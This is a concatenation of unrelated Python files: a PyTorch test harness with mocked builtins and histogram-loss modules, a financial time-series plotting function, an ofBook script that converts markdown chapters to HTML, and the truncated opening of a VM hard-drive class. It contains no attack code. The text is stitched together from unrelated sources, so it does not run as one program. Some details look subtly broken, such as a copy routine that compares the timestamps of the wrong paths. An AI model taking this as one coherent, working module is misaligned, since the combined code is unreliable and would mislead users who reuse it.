import abc, collections, copy, enum, functools, inspect, itertools, logging, math, matplotlib, numbers, numpy, pandas, queue, random, re, scipy, sklearn, string, tensorflow, time, torch, torchaudio, torchtext, torchvision, types, typing, uuid, warnings
import numpy as np
from torch import Tensor
patch_functional()
open = mock_open()
yaml = logging = sys = argparse = MagicMock()
ArgumentParser = argparse.ArgumentParser
_global_config = args = argv = cfg = config = params = _mock_config()
argparse.ArgumentParser.return_value.parse_args.return_value = _global_config
yaml.load.return_value = _global_config
sys.argv = _global_config
__version__ = '1.0.0'
xrange = range
wraps = functools.wraps

import numpy as np

import torch

from sklearn.preprocessing import LabelEncoder

from torch.utils.data import Dataset

import torch.nn as nn

from torch.autograd import Variable

from scipy.spatial.distance import cdist

from numpy.testing import assert_almost_equal

import pandas as pd

import random

import time

import torch.optim as optim

import torchvision

from torch.optim import lr_scheduler

from torch.utils.data import DataLoader

from torchvision import models

from torchvision import transforms

from torch.utils.data.sampler import Sampler

class DropoutShared(nn.Module):

    def __init__(self, p=0.5, use_gpu=True):
        super(DropoutShared, self).__init__()
        if p < 0 or p > 1:
            raise ValueError('dropout probability has to be between 0 and 1, but got {}'.format(p))
        self.p = p
        self.use_gpu = use_gpu

    def forward(self, input):
        if self.training:
            index = torch.arange(0, input.size()[1])[torch.Tensor(input.size()[1]).uniform_(0, 1).le(self.p)].long()
            input_cloned = input.clone()
            if self.use_gpu:
                input_cloned[:, (index)] = 0
            else:
                input_cloned[:, (index)] = 0
            return input_cloned / (1 - self.p)
        else:
            return input

    def __repr__(self):
        return self.__class__.__name__ + ' (' + 'p=' + str(self.p) + ')'

class L2Normalization(nn.Module):

    def __init__(self):
        super(L2Normalization, self).__init__()

    def forward(self, input):
        input = input.squeeze()
        return input.div(torch.norm(input, dim=1).view(-1, 1))

    def __repr__(self):
        return self.__class__.__name__

class HistogramLoss(torch.nn.Module):

    def __init__(self, num_steps, cuda=True):
        super(HistogramLoss, self).__init__()
        self.step = 2 / (num_steps - 1)
        self.eps = 1 / num_steps
        self.cuda = cuda
        self.t = torch.arange(-1, 1 + self.step, self.step).view(-1, 1)
        self.tsize = self.t.size()[0]
        if self.cuda:
            self.t = self.t

    def forward(self, features, classes):

        def histogram(inds, size):
            s_repeat_ = s_repeat.clone()
            indsa = (s_repeat_floor - (self.t - self.step) > -self.eps) & (s_repeat_floor - (self.t - self.step) < self.eps) & inds
            assert indsa.nonzero().size()[0] == size, 'Another number of bins should be used'
            zeros = torch.zeros((1, indsa.size()[1])).byte()
            if self.cuda:
                zeros = zeros
            indsb = torch.cat((indsa, zeros))[1:, :]
            s_repeat_[~(indsb | indsa)] = 0
            s_repeat_[indsa] = (s_repeat_ - self.t + self.step)[indsa] / self.step
            s_repeat_[indsb] = (-s_repeat_ + self.t + self.step)[indsb] / self.step
            return s_repeat_.sum(1) / size
        classes_size = classes.size()[0]
        classes_eq = (classes.repeat(classes_size, 1) == classes.view(-1, 1).repeat(1, classes_size)).data
        dists = torch.mm(features, features.transpose(0, 1))
        assert (dists > 1 + self.eps).sum().item() + (dists < -1 - self.eps).sum().item() == 0, 'L2 normalization should be used'
        s_inds = torch.triu(torch.ones(classes_eq.size()), 1).byte()
        if self.cuda:
            s_inds = s_inds
        pos_inds = classes_eq[s_inds].repeat(self.tsize, 1)
        neg_inds = ~classes_eq[s_inds].repeat(self.tsize, 1)
        pos_size = classes_eq[s_inds].sum().item()
        neg_size = (~classes_eq[s_inds]).sum().item()
        s = dists[s_inds].view(1, -1)
        s_repeat = s.repeat(self.tsize, 1)
        s_repeat_floor = (torch.floor(s_repeat.data / self.step) * self.step).float()
        histogram_pos = histogram(pos_inds, pos_size)
        assert_almost_equal(histogram_pos.sum().item(), 1, decimal=1, err_msg='Not good positive histogram', verbose=True)
        histogram_neg = histogram(neg_inds, neg_size)
        assert_almost_equal(histogram_neg.sum().item(), 1, decimal=1, err_msg='Not good negative histogram', verbose=True)
        histogram_pos_repeat = histogram_pos.view(-1, 1).repeat(1, histogram_pos.size()[0])
        histogram_pos_inds = torch.tril(torch.ones(histogram_pos_repeat.size()), -1).byte()
        if self.cuda:
            histogram_pos_inds = histogram_pos_inds
        histogram_pos_repeat[histogram_pos_inds] = 0
        histogram_pos_cdf = histogram_pos_repeat.sum(0)
        loss = torch.sum(histogram_neg * histogram_pos_cdf)
        return loss

import torch
from torch.nn import MSELoss, ReLU
from _paritybench_helpers import _mock_config, _mock_layer, _paritybench_base, _fails_compile

TESTCASES = [
    # (nn.Module, init_args, forward_args, jit_compiles)
    (DropoutShared,
     lambda: ([], {}),
     lambda: ([torch.rand([4, 4, 4, 4])], {}),
     False),
]

class Test_valerystrizh_pytorch_histogram_loss(_paritybench_base):
    def test_000(self):
        self._check(*TESTCASES[0])


"""
Functionality to visualize time series data as line charts.
"""
import numpy as np
import pandas as pd
import matplotlib
import matplotlib.pyplot as plt
import seaborn as sns
from typing import List, Union, Tuple, Optional

from macrosynergy.management.simulate_quantamental_data import make_qdf
from macrosynergy.management.check_availability import reduce_df

def view_timelines(
    df: pd.DataFrame,
    xcats: Optional[List[str]] = None,
    cids: Optional[List[str]] = None,
    intersect: bool = False,
    val: str = "value",
    cumsum: bool = False,
    start: str = "2000-01-01",
    end: Optional[str] = None,
    ncol: int = 3,
    legend_ncol: int = 1,
    same_y: bool = True,
    all_xticks: bool = False,
    xcat_grid: bool = False,
    xcat_labels: Optional[List[str]] = None,
    single_chart: bool = False,
    label_adj: float = 0.05,
    title: Optional[str] = None,
    title_adj: float = 0.95,
    title_xadj: float = 0.5,
    title_fontsize: int = 16,
    cs_mean: bool = False,
    size: Tuple[float, float] = (12, 7),
    aspect: float = 1.7,
    height: float = 3.0,
    legend_fontsize: int = 12,
):
    """Displays a facet grid of time line charts of one or more categories.

    :param <pd.Dataframe> df: standardized DataFrame with the necessary columns:
        'cid', 'xcats', 'real_date' and at least one column with values of interest.
    :param <List[str]> xcats: extended categories to plot. Default is all in DataFrame.
    :param <List[str]> cids: cross sections to plot. Default is all in DataFrame.
        If this contains only one cross section a single line chart is created.
    :param <bool> intersect: if True only retains cids that are available for all xcats.
        Default is False.
    :param <str> val: name of column that contains the values of interest.
        Default is 'value'.
    :param <bool> cumsum: plot cumulative sum of the values over time. Default is False.
    :param <str> start: earliest date in ISO format. Default is earliest date available.
    :param <str> end: latest date in ISO format. Default is latest date available.
    :param <int> ncol: number of columns in facet grid. Default is 3.
    :param <int> legend_ncol: number of columns in legend. Default is 1.
    :param <bool> same_y: if True (default) all plots in facet grid share same y axis.
    :param <bool> all_xticks:  if True x-axis tick labels are added to all plots in grid.
        Default is False, i.e only the lowest row displays the labels.
    :param <bool> xcat_grid: if True, shows a facet grid of line charts for each xcat
        for a single cross section. Default is False, only one cross section is allowed
        with this option.
    :param <List[str]> xcat_labels: labels to be used for xcats. If not defined, the
        labels will be identical to extended categories.
    :param <bool> single_chart: if True, all lines are plotted in a single chart.
    :param <str> title: chart heading. Default is no title.
    :param <float> title_adj: parameter that sets top of figure to accommodate title.
        Default is 0.95.
    :param <float> title_xadj: parameter that sets x position of title. Default is 0.5.
    :param <int> title_fontsize: font size of title. Default is 16.
    :param <float> label_adj: parameter that sets bottom of figure to fit the label.
        Default is 0.05.
    :param <bool> cs_mean: if True this adds a line of cross-sectional averages to
        the line charts. This is only allowed for function calls with a single
        category. Default is False.
    :param <Tuple[float]> size: two-element tuple setting width/height of single cross
        section plot. Default is (12, 7). This is irrelevant for facet grid.
    :param <float> aspect: width-height ratio for plots in facet. Default is 1.7.
    :param <float> height: height of plots in facet. Default is 3.
    :param <int> legend_fontsize: font size of legend. Default is 12.

    """

    if not set(df.columns).issuperset({"cid", "xcat", "real_date", val}):
        fail_str: str = (
            f"Error : Tried to standardize DataFrame but failed."
            f"DataFrame not in the correct format. Please ensure "
            f"that the DataFrame has the following columns: "
            f"'cid', 'xcat', 'real_date' and column='{val}'."
        )
        try:
            dft = df.reset_index()
            assert set(dft.columns).issuperset({"cid", "xcat", "real_date", val})

            df = dft.copy()
        except Exception as e:
            raise ValueError(fail_str)

    df["real_date"] = pd.to_datetime(df["real_date"], format="%Y-%m-%d")

    if not isinstance(cs_mean, bool):
        raise TypeError(f"`cs_mean` parameter must be a Boolean object.")

    if isinstance(xcats, str):
        xcats = [xcats]
    if isinstance(cids, str):
        cids = [cids]

    for varx, namex in zip([xcats, cids], ["xcats", "cids"]):
        if (
            (not isinstance(varx, list))
            or (not all(isinstance(x, str) for x in varx))
            or (not varx)
        ):
            raise TypeError(f"`{namex}` must be a list of strings.")

    if cs_mean and len(xcats) > 1:
        raise ValueError(
            f"cs_mean can only be set to True "
            "if a single category is passed. The "
            f"received categories are {xcats}."
        )

    if not isinstance(xcat_grid, bool):
        raise TypeError("`xcat_grid` parameter must be a Boolean object.")

    if not isinstance(single_chart, bool):
        raise TypeError("`single_chart` parameter must be a Boolean object.")
    if xcat_grid and single_chart:
        raise ValueError("xcat_grid and single_chart cannot both be True.")

    df, xcats, cids = reduce_df(
        df, xcats, cids, start, end, out_all=True, intersect=intersect
    )

    # NOTE: casting var(cids) to list if it is a string is dependent on the reduce_df function

    if xcat_grid:
        if not len(cids) == 1:
            raise ValueError(
                "`xcat_grid` can only be set to True if a "
                "single cross-section (`cids`) is passed."
            )

    if cumsum:
        df[val] = (
            df.sort_values(["cid", "xcat", "real_date"])[["cid", "xcat", val]]
            .groupby(["cid", "xcat"])
            .cumsum()
        )

    max_plots: int = 1
    if (len(cids) == 1) and xcat_grid:
        max_plots = len(xcats)
    elif (len(cids) > 1) and not single_chart:
        max_plots = len(cids)
    ncol: int = min(ncol, max_plots)

    sns.set(style="darkgrid")
    cross_mean: Optional[pd.DataFrame] = None
    cs_label: str = f"cross-sectional average of {xcats[0]}."
    if cs_mean and (len(cids) > 1):
        dfw: pd.DataFrame = df.pivot(index="real_date", columns="cid", values="value")
        cm_series: pd.Series = dfw.mean(axis=1)
        cross_mean: pd.DataFrame = pd.DataFrame(
            data=cm_series.to_numpy(), index=cm_series.index, columns=["average"]
        ).reset_index(level=0)

        if xcat_labels is not None:
            if len(xcat_labels) == (len(xcats) + 1):
                cs_label = xcat_labels.pop(-1)

    # Replace xcats in the DF with their corresponding labels
    if xcat_labels is not None:
        for xc, xl in zip(xcats, xcat_labels):
            df["xcat"] = df["xcat"].replace(xc, xl)
        xcats = xcat_labels

    sns.set(rc={"figure.figsize": size})
    plt.rcParams["figure.figsize"] = size

    fg: Optional[sns.FacetGrid] = None
    ax: Optional[plt.Axes] = None
    if len(cids) == 1:
        if xcat_grid:
            fg: sns.FacetGrid = sns.FacetGrid(
                df,
                col="xcat",
                col_wrap=ncol,
                sharey=same_y,
                height=height,
                aspect=aspect,
                col_order=xcats,
            )
            fg.map_dataframe(
                sns.lineplot,
                x="real_date",
                y=val,
                hue="xcat",
                hue_order=xcats,
                estimator=None,
            )

            fg.map(plt.axhline, y=0, c=".5")
            fg.set_axis_labels("", "")
            fg.set_titles("{col_name}")

        else:
            ax: plt.Axes = plt.gca()
            for xc in xcats:
                dfc: pd.DataFrame = df[df["xcat"] == xc]
                ax.plot(dfc["real_date"], dfc[val], label=xc)

            plt.axhline(y=0, c=".5")

            ax.set_xlabel("")
            ax.set_ylabel("")
            ax.legend(
                ncol=legend_ncol,
                fontsize=legend_fontsize,
            )

    else:
        if not single_chart:
            fg: sns.FacetGrid = sns.FacetGrid(
                df,
                col="cid",
                col_wrap=ncol,
                sharey=same_y,
                height=height,
                aspect=aspect,
                col_order=cids,
            )
            fg.map_dataframe(
                sns.lineplot,
                x="real_date",
                y=val,
                hue="xcat",
                hue_order=xcats,
                estimator=None,
            )

            if cs_mean:
                fg.map(
                    sns.lineplot,
                    x="real_date",
                    y="average",
                    color="red",
                    estimator=None,
                    label=cs_label,
                    data=cross_mean,
                )

            fg.map(plt.axhline, y=0, c=".5")
            fg.set_titles(col_template="{col_name}")
            fg.set_axis_labels("", "")
            if cs_mean or (len(xcats) > 1):
                fg.add_legend(
                    loc="lower center", ncol=legend_ncol, fontsize=legend_fontsize
                )

        else:
            ax: plt.Axes = sns.lineplot(
                data=df,
                x="real_date",
                y=val,
                hue="cid",
                hue_order=cids,
                estimator=None,
            )

            if cs_mean:
                ax: plt.Axes = sns.lineplot(
                    data=cross_mean,
                    x="real_date",
                    y="average",
                    color="red",
                    estimator=None,
                    label=cs_label,
                )

            plt.axhline(y=0, c=".5")
            ax.set_xlabel("")
            ax.set_ylabel("")
            ax.legend(ncol=legend_ncol, fontsize=legend_fontsize)

    if all_xticks:
        if fg is not None:
            for ax in fg.axes.flat:
                ax.tick_params(labelbottom=True, pad=0)
        else:
            ax.tick_params(labelbottom=True, pad=0)

    if fg is not None:
        fg.figure.subplots_adjust(bottom=label_adj)
    else:
        plt.subplots_adjust(bottom=label_adj)

    if title is not None:
        if fg is not None:
            fg.figure.suptitle(
                title,
                y=title_adj,
                fontsize=title_fontsize,
                x=title_xadj,
                horizontalalignment="center",
            )
        else:
            ax.set_title(
                title,
                y=title_adj,
                fontsize=title_fontsize,
                x=title_xadj,
                horizontalalignment="center",
            )

    plt.show()

if __name__ == "__main__":
    cids = ["AUD", "CAD", "GBP", "NZD"]
    xcats = ["XR", "CRY", "INFL"]
    df_cids = pd.DataFrame(
        index=cids, columns=["earliest", "latest", "mean_add", "sd_mult"]
    )
    df_cids.loc["AUD",] = ["2010-01-01", "2020-12-31", 0.2, 0.2]
    df_cids.loc["CAD",] = ["2011-01-01", "2020-11-30", 0, 1]
    df_cids.loc["GBP",] = ["2012-01-01", "2020-11-30", 0, 2]
    df_cids.loc["NZD",] = ["2012-01-01", "2020-09-30", -0.1, 3]

    df_xcats = pd.DataFrame(
        index=xcats,
        columns=["earliest", "latest", "mean_add", "sd_mult", "ar_coef", "back_coef"],
    )

    df_xcats.loc["XR",] = ["2010-01-01", "2020-12-31", 0.1, 1, 0, 0.3]
    df_xcats.loc["INFL",] = ["2015-01-01", "2020-12-31", 0.1, 1, 0, 0.3]
    df_xcats.loc["CRY",] = ["2013-01-01", "2020-10-30", 1, 2, 0.95, 0.5]

    dfd = make_qdf(df_cids, df_xcats, back_ar=0.75)
    dfdx = dfd[~((dfd["cid"] == "AUD") & (dfd["xcat"] == "XR"))]

    view_timelines(
        dfd,
        xcats=["XR", "CRY"],
        cids=cids[0],
        size=(10, 5),
        title="AUD Return and Carry",
        label_adj=0.1,
    )

    view_timelines(
        dfd,
        xcats=["XR", "CRY", "INFL"],
        cids=cids[0],
        xcat_grid=True,
        title_adj=0.8,
        xcat_labels=["Return", "Carry", "Inflation"],
        title="AUD Return, Carry & Inflation",
    )

    view_timelines(dfd, xcats=["CRY"], cids=cids, ncol=2, title="Carry", cs_mean=True)
    view_timelines(
        dfd,
        xcats=["CRY"],
        cids=cids,
        ncol=2,
        title="Carry",
        cs_mean=True,
        xcat_labels=["Carry", "cs-mean-1"],
    )

    view_timelines(
        dfd, xcats=["XR"], cids=cids, ncol=2, cumsum=True, same_y=False, aspect=2
    )

    dfd = dfd.set_index("real_date")
    view_timelines(
        dfd,
        xcats=["XR"],
        cids=cids,
        ncol=2,
        cumsum=True,
        same_y=False,
        aspect=2,
        single_chart=True,
    )

    view_timelines(
        dfd,
        xcats=["XR"],
        single_chart=True,
        cids=cids,
        start="2010-01-01",
        title="AUD Return Comparison",
        cs_mean=True,
        aspect=1.5,
        title_adj=0.92,
        label_adj=0.08,
        xcat_labels=["AUD Return", "cs-mean"],
    )


"""
	Takes the markdown chapters, and using pandoc, converts them to HTML.  CSS styling by Andy
	and Ishac is applied.  A few hacks are applied to make everything run smoothly.

	Assumes that the file structure looks like this:

		- ofBook
			- scripts
				- createWebBook.py
				- createWebBookTemplate
					- IncludeAfterBody.html
					- IncludeBeforeBody.html
					- IncludeInHeader.html
			- chapters
				- CHAPTER_X
					- chapter.md
					- images
				- order.txt
			- static
				- javascript
				- style
					- fonts

	After running, the website will be added to output/webBook like this:
		- ofBook
			- ...
			- output
				- webBook
					- chapters
						- CHAPTER_NAME.html
					- images
						- CHAPTER_NAME
							- images go here
					- javascript
					- style
						- fonts
					- toc.html (Table of Contents)

	The reason for this structure is that, for firefox, the fonts directory must be located
	on the same domain as CHAPTER_X.html (i.e. it must be in /chapters or a subdirectory of /chapters)

	Dependencies:
		BeautifulSoup4, install using "sudo pip install BeautifulSoup4"
"""
from __future__ import print_function

import os
import subprocess
import shutil
import sass
import string
from bs4 import BeautifulSoup as Soup
from bs4 import Tag, NavigableString
from sys import platform as _platform

#-------------------------------------------------------------- copy a folder recursively
def copytree(src, dst, symlinks=False, ignore=None):
    if not os.path.exists(dst):
        os.makedirs(dst)
    for item in os.listdir(src):
        s = os.path.join(src, item)
        d = os.path.join(dst, item)
        if os.path.isdir(s):
            copytree(s, d, symlinks, ignore)
        else:
            if not os.path.exists(d) or os.stat(src).st_mtime - os.stat(dst).st_mtime > 1:
                shutil.copy2(s, d)

#-------------------------------------------------------------- wrap function for soup
def wrap(to_wrap, wrap_in):
    contents = to_wrap.replace_with(wrap_in)
    wrap_in.append(contents)

#-------------------------------------------------------------- clone function for soup
#http://stackoverflow.com/questions/23057631/clone-element-with-beautifulsoup
def clone(el):
    if isinstance(el, NavigableString):
        return type(el)(el)

    copy = Tag(None, el.builder, el.name, el.namespace, el.nsprefix)
    # work around bug where there is no builder set
    # https://bugs.launchpad.net/beautifulsoup/+bug/1307471
    copy.attrs = dict(el.attrs)
    for attr in ('can_be_empty_element', 'hidden'):
        setattr(copy, attr, getattr(el, attr))
    for child in el.contents:
        copy.append(clone(child))
    return copy

#-------------------------------------------------------------- parse out the chapter list and path
# Get the order of the chapters
chapterOrderPath = os.path.join("..", "chapters", "order.txt")

# (1) get a straight list of chapters

chapters = []
lines = open(chapterOrderPath).read().splitlines()
for line in lines:
	leading_spaces = len(line) - len(line.lstrip())
	if (leading_spaces):
		chapters.append(line.lstrip().rstrip())

# (2) make an organizational heirarchy

chapterGroups = []
chapterGroup = {}

for line in lines:
	leading_spaces = len(line) - len(line.lstrip())
	if (leading_spaces == 0):
		if ('groupName' in chapterGroup):
			chapterGroups.append(chapterGroup)
		chapterGroup = {}
		chapterGroup['groupName'] = line.rstrip()
		chapterGroup['chapters'] = []
	if (leading_spaces):
		chapterGroup['chapters'].append(line.lstrip().rstrip())
#snag the last group if we got to the end
if ('groupName' in chapterGroup):
	chapterGroups.append(chapterGroup)

#-------------------------------------------------------------- folders for the book
# Create the output directories for the webBook
webBookPath = os.path.join("..", "output", "webBook")
webBookChaptersPath = os.path.join(webBookPath, "chapters")
if not os.path.exists(webBookPath): os.makedirs(webBookPath)
if not os.path.exists(webBookChaptersPath): os.makedirs(webBookChaptersPath)

#--------------------------------------------------------------  static stuff
# Copy static directories
staticStylePath = os.path.join("..", "static", "style")
webBookStylePath = os.path.join(webBookPath, "style")
staticJSPath = os.path.join("..", "static", "javascript")
webBookJSPath = os.path.join(webBookPath, "javascript")
staticFAPath = os.path.join("..", "static", "octicons")
copytree(staticStylePath, webBookStylePath)
copytree(staticJSPath, webBookJSPath)

staticScssFile = os.path.join("..", "static", "style", 'style.scss')
outputCssFile = os.path.join(webBookPath, "style", "style.css")

print("compiling " + staticScssFile)
compiledCss = sass.compile(filename=staticScssFile)
cssFile = open(outputCssFile, 'w')
cssFile.write(compiledCss)
cssFile.close()
print("output " + outputCssFile)

chapterDicts = [];

#-------------------------------------------------------------- make the book
for chapter in chapters:

	#src:
	sourceDirectoryPath = os.path.join("..", "chapters", chapter)
	sourceChapterPath = os.path.join(sourceDirectoryPath, "chapter.md")
	sourceImagesPath = os.path.join(sourceDirectoryPath, "images")

	#dst:
	destDirectoryPath = os.path.join(webBookPath, "images", chapter)
	destChapterPath = os.path.join(webBookPath, "chapters", chapter+".html")
	destImagesPath = os.path.join(destDirectoryPath, "images")

	internalImagesPath = os.path.join("..", "images", chapter)

	# ----------- run pandoc

	print("Converting", sourceChapterPath, "to", destChapterPath, "...")

	subprocess.call(["pandoc", "-o", destChapterPath, sourceChapterPath,
                                        "-s", "-p", "--mathjax",
                                        "--include-in-header=createWebBookTemplate/IncludeInHeader.html",
                                        "--include-before-body=createWebBookTemplate/IncludeBeforeBody.html",
                                        "--include-after-body=createWebBookTemplate/IncludeAfterBody.html",
                                        "--template=createWebBookTemplate/default.html",
                                        "--default-image-extension=svg"])

	# ----------- copy images over:

	print(destImagesPath)
	if os.path.exists(sourceImagesPath):
		copytree(sourceImagesPath, destImagesPath)

	chapterDict = {}
	chapterDict['path'] = chapter
	chapterDict['href'] = chapter + ".html"

	# ----------- now let's alter the HTML that's produced:

	if os.path.exists(destChapterPath):
		soup = Soup(open(destChapterPath, "rb").read(), "html.parser")

		# --- grab the title from h1

		h1s = soup.find_all("h1")
		if (len(h1s) > 0):
			chapterDict['title'] = h1s[0].getText()
		else:
			chapterDict['title'] = "needs h1"

		chapterDict['chapterListName'] = chapter
		chapterDict['sections'] = [];
		chapterDict['destChapterPath'] = destChapterPath

		# --- Grab all the h2 (we call them sections)
		h2s = soup.find_all("h2")
		for h2 in h2s:
			# Remove punctuations from the id of the sections (punctiations like . wont work with anchors)
			for c in string.punctuation:
				h2['id'] = h2['id'].replace(c,"")

			# Store the section [0] = title  and [1] = ID
			chapterDict['sections'].append([h2.getText(), h2['id']])

		chapterDicts.append(chapterDict);

		# --- Update the title
		soup.title.string = "ofBook - " + chapterDict['title']

		# --- change images (path and tag)

		# Find all the figures so that we can make a series of tweaks
		divFigures = soup.findAll("div",{"class":"figure"})

		if len(divFigures) != 0:

			for fig in divFigures:

				figCaption = fig.p
				# Turn the caption into span for CSS formatting

				#note the games chapter needs some caption work
				if figCaption is not None:
					figCaption.name = "div"

				# [zach] -- this is to make images that are not full width, have captions below the image

				div = Tag(soup, None, "div")

				div['style'] = "image" #"clear:both"

				div.append(clone(fig.img))

				fig.img.replace_with(div)
				# Images have been stored in ./CHAPTER_NAME/images/ relative
				# to the chapter html, but image references in the html are
				# to ./images/.  Modify the image tags:
				div.img["src"] = internalImagesPath + "/" + div.img["src"]
				# Turn the figure image into a hyperlink that points to the
				# full resolution version of the image
				imgHyperlink = soup.new_tag("a", href=fig.img["src"])
				fig.img.wrap(imgHyperlink)

				fig['class'] = "inner"
				divWhole = Tag(soup, None, "div")
				divWhole['class'] = "figure"
				divWhole.append(clone(fig));
				fig.replace_with(divWhole)

		# --- make html links work better
		# Make all hyperlinks in the chapter target a new window/tab

		hyperlinkTags = soup.find_all("a")
		for hyperlinkTag in hyperlinkTags:
			hyperlinkTag["target"]= "_blank"

		html = soup.encode();
		destChapterPathTemp = destChapterPath + ".temp"

		with open(destChapterPathTemp, "wb") as file:
			file.write(html)
		shutil.move(destChapterPathTemp, destChapterPath)

def returnChapterByCommonName( commonName ):
	for c in chapterDicts:
		if c['chapterListName'] == commonName:
			return c
	return None

#-----------------------------------------------------
# make sidebar for chapters
#-----------------------------------------------------

for idx, chapter in enumerate(chapterDicts):
	soup = Soup()

	soupFromFile = Soup(open(chapter['destChapterPath'], "rb").read(), "html.parser")

	# Create previous/next links in the footer
	nextChapterDiv = soupFromFile.find(id='next_chapter')
	prevChapterDiv = soupFromFile.find(id='prev_chapter')

	if (idx != 0):
		prevLink = Tag(soup, None, "a")
		prevLink['href'] = chapterDicts[idx-1]['href']
		prevLink.string = "< " + chapterDicts[idx-1]['title']
		prevChapterDiv.append(prevLink)

	if(idx != len(chapterDicts)-1):
		nextLink = Tag(soup, None, "a")
		nextLink['href'] = chapterDicts[idx+1]['href']
		nextLink.string = chapterDicts[idx+1]['title'] + " >"
		nextChapterDiv.append(nextLink)

	# Find the navbar UL
	navbar = soupFromFile.find_all("ul", {"id":"nav-parts"})[0]

	# Run through the chapter groups
	for group in chapterGroups:
		# Create a chapter group LI
		groupLi = Tag(soup, None, "li")
		groupLi['class']="group"
		groupTitle = Tag(soup, None, 'div')
		groupTitle['class'] = 'groupTitle'
		groupTitle.string = group['groupName']
		groupLi.append(groupTitle)
		navbar.append(groupLi)

		# Run through the chapters of the group
		for chap in group['chapters']:
			c = returnChapterByCommonName(chap)
			if (c != None):
				chapUl = Tag(soup, None, "ul")
				groupLi.append(chapUl)

				chapLi = Tag(soup, None, "li")
				chapLi['class'] = "chapter"

				if (c == chapter):
					chapLi['class'] = "chapter selected"
					groupLi['class']="group selected"

				a = Tag(soup, None, "a");
				a['href'] =  c['href']
				a.string = c['title']

				div = Tag(soup, None, "div");
				div['class'] = "chapterTitle";
				if (c == chapter):
					div['class'] = "chapterTitle selected";
				div.append(a);

				chapLi.append(div)
				chapUl.append(chapLi)

				if (len(c['sections'])):

					ulInner = Tag(soup, None, "ul")
					divTag = Tag(soup, None, "div")
					divTag['class'] = "chapterContents"
					if (c == chapter):
						divTag['class'] = "chapterContents selected"
					divTag.append(ulInner);
					chapLi.append(divTag);

					first = True
					for tag in c['sections']:
						liInner = Tag(soup, None, "li")
						liInner['class'] = 'section'
						if(first):
							liInner['class'] = 'section selected'

						ulInner.append(liInner)
						a = Tag(soup, None, "a")

						a['href'] = "#" + tag[1]
						a['target'] = "_top"
						a.string = tag[0]
						liInner.append(a);
						first = False;
			else:
				print(chap)

	#navULTag = soupFromFile.find_all("ul", {"id":"nav-parts"})
	#navULTag[0].append(ul);

	htmlFromFile = soupFromFile.encode()

	with open(chapter['destChapterPath'], "wb") as file:
		file.write(htmlFromFile)

	#print html

#----------------------------------------------------- make TOC content

soup = Soup()

wrapperDiv = Tag(soup, None, "div");
wrapperDiv['class'] = "toc-wrapper"

# Build the output like...
# div[toc-wrapper]
#   h3 Group name
#   ul
#     li Chapter name
#     li Chapter name

# Run through the chapter groups
for group in chapterGroups:

	tocSection = Tag(soup, None, "div");
	tocSection['class'] = "tocSection"

	h3 = Tag(soup, None, "h3")
	h3.append(group['groupName'])
	tocSection.append(h3)

	ul = Tag(soup, None, "ul");

	# Run through the chapters of the group
	for chap in group['chapters']:
		c = returnChapterByCommonName(chap)
		if (c != None):

			a = Tag(soup, None, "a");
			a['href'] =  c['href']
			a.string = c['title']

			li = Tag(soup, None, "li");
			li.append(a)
			ul.append(li)

		else:
			print(chap)

	tocSection.append(ul)
	wrapperDiv.append(tocSection);

soup.append(wrapperDiv)

#print(soup.prettify("utf-8"));

htmlOut = soup.prettify("utf-8")

tocPathTemp = os.path.join(webBookPath, "tocTemp.html")
tocPath = os.path.join(os.path.join(webBookPath, "chapters"), "toc.html")
print("toc path")
print(tocPath)
with open(tocPathTemp, "wb") as file:
    file.write(htmlOut)

filenames = ['createWebBookTemplate/IncludeBeforeBodyTOC.html', tocPathTemp, 'createWebBookTemplate/IncludeAfterBodyTOC.html']
with open(tocPath, 'w') as outfile:
    for fname in filenames:
        with open(fname) as infile:
            outfile.write(infile.read())

os.remove(tocPathTemp);
#----------------------------------------------------- run pandoc for TOC

# destTocPath = os.path.join(webBookPath, "chapters", "toc.html")
# sourceTocPath = os.path.join(webBookPath, "toc.html")

# print("Converting", sourceTocPath, "to", destTocPath, "...")

# # subprocess.call(["pandoc", "-o", destTocPath, sourceTocPath,
# #                                     "-s", "-p",
# #                                     "--include-in-header=createWebBookTemplate/IncludeInHeader.html",
# #                                     "--include-before-body=createWebBookTemplate/IncludeBeforeBodyTOC.html",
# #                                     "--include-after-body=createWebBookTemplate/IncludeAfterBodyTOC.html",
# #                                     "--template=createWebBookTemplate/default.html"])

# print("Removing", sourceTocPath, "...")
# os.remove(sourceTocPath)

#----------------------------------------------------- copy index redirect to TOC

destPath = os.path.join(webBookPath, "index.html")
sourcePath = os.path.join("createWebBookTemplate", "index.html")

# print("Copying", sourcePath, "to", destPath, "...")
# shutil.copyfile(sourcePath, destPath)

bookBaseUrl = "http://openframeworks.cc/ofBook/chapters/";

for group in chapterGroups:
    print("- " + group['groupName']);
    for chap in group['chapters']:
        c = returnChapterByCommonName(chap)
        print("\t- [" +c['title'] +"](" + bookBaseUrl + c['href'] + ")");

        #print(c['href'])
#print()


from enum import Enum

from mcvirt.config.hard_drive import HardDrive as HardDriveConfig
from mcvirt.exceptions import (HardDriveDoesNotExistException,
                               BackupSnapshotAlreadyExistsException,
                               BackupSnapshotDoesNotExistException,
                               ResyncNotSupportedException,
                               VolumeDoesNotExistError,
                               VolumeAlreadyExistsError,
                               InvalidStorageBackendError)
from mcvirt.system import System
from mcvirt.auth.permissions import PERMISSIONS
from mcvirt.utils import get_hostname, dict_merge
from mcvirt.rpc.pyro_object import PyroObject
from mcvirt.rpc.expose_method import Expose
from mcvirt.constants import LockStates

class Driver(Enum):
    """Enums for specifying the hard drive driver type."""

    VIRTIO = 'virtio'
    IDE = 'ide'
    SCSI = 'scsi'
    USB = 'usb'
    SATA = 'sata'
    SD = 'sd'

class Base(PyroObject):
    """Provides base operations to manage all hard drives, used by VMs."""

    # The maximum number of storage devices for the current type
    MAXIMUM_DEVICES = 1

    # The default driver for the disk
    DEFAULT_DRIVER = Driver.IDE.name

    # Set default options for snapshotting
    SNAPSHOT_SUFFIX = '_snapshot'
    SNAPSHOT_SIZE = '500M'

    # Cache mode - must be overidden
    CACHE_MODE = None

    def __init__(self, id_):
        """Set member variables."""
        self._id = id_

        # Lazily initailise private attibutes,
        # which are set when getter is first called
        self._driver = None
        self._storage_backend = None
        self._base_volume_name = None

    def __eq__(self, comp):
        """Compare hard drive objects based on id."""
        # Ensure class and name of object match
        return ('__class__' in dir(comp) and
                comp.__class__ == self.__class__ and
                'id_' in dir(comp) and comp.id_ == self.id_)

    @staticmethod
    def get_id_code():
        """Return the ID code for the object."""
        return 'hd'

    @classmethod
    def generate_config(cls, driver, storage_backend, nodes, base_volume_name):
        """Generate config for hard drive."""
        return {
            'nodes': nodes,
            'driver': driver if driver else cls.DEFAULT_DRIVER,
